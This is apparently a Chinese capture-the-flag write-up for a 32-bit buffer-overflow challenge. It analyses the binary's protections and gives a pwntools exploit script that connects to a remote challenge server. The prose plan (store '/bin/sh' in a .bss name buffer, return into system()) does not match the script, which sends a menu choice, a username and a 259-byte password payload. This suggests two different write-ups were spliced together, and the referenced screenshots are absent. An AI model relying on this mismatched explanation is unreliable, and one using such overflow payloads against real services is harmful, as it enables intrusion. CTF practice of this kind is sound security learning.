题目描述
菜鸡认为自己需要一个字符串
Solution
首先检查文件信息:
这是 ELF32 文件,没有摘除符号表,栈不可执行,没有金丝雀,不是位置无关程序。运行程序,输入用户名和信息后退出。我们把它放 IDA 分析,该程序主要流程有: main()
→ hello()
。
hello()
函数如下:
这里的name
是一个未初始化的全局变量,位于.bss section
,大小为0x34
。观察函数列表,题目给我们提供了一个pwn()
函数:
基于上述条件,我们的漏洞利用思路如下:
- 读取
name
的时候,我们输入/bin/sh
- 溢出
message
,把返回地址改成system()
;由于这是 ELF32,函数传参用栈,我们可以压入/bin/sh
来夺 Shell
Python 脚本如下:
from pwn import *
#conn = process('./004')
conn = remote('111.200.241.244', 61667)
ret_addr = 0x0804868b
payload = b'A' * (0x14 + 4) + p32(ret_addr) + \
b'A' * (259 - 0x14 - 4 - 4)
conn.sendlineafter('Your choice:', '1')
conn.sendlineafter('username:', 'root')
conn.sendlineafter('passwd:', payload)
conn.interactive()
运行效果如下: